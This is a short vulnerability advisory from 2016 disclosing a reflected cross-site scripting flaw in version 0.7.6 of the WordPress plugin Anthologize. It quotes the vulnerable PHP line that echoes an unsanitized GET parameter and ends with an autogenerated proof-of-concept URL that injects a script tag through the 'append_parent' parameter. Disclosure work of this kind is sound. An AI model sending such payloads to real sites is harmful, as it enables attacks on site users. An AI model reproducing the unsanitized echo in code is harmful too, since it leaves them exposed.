Advisory #: 244
Title: Reflected XSS in wordpress plugin anthologize v0.7.6
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/anthologize
Downloads: 52287
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: anthologize
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./anthologize/includes/class-project-organizer.php: 426: <input type="hidden" name="append_parent" value="<?php echo $_GET['append_parent'] ?>" /> The variable append_parent appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./anthologize/includes/class-project-organizer.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/anthologize/includes/class-project-organizer.php?append_parent="><script>alert(1);</script><"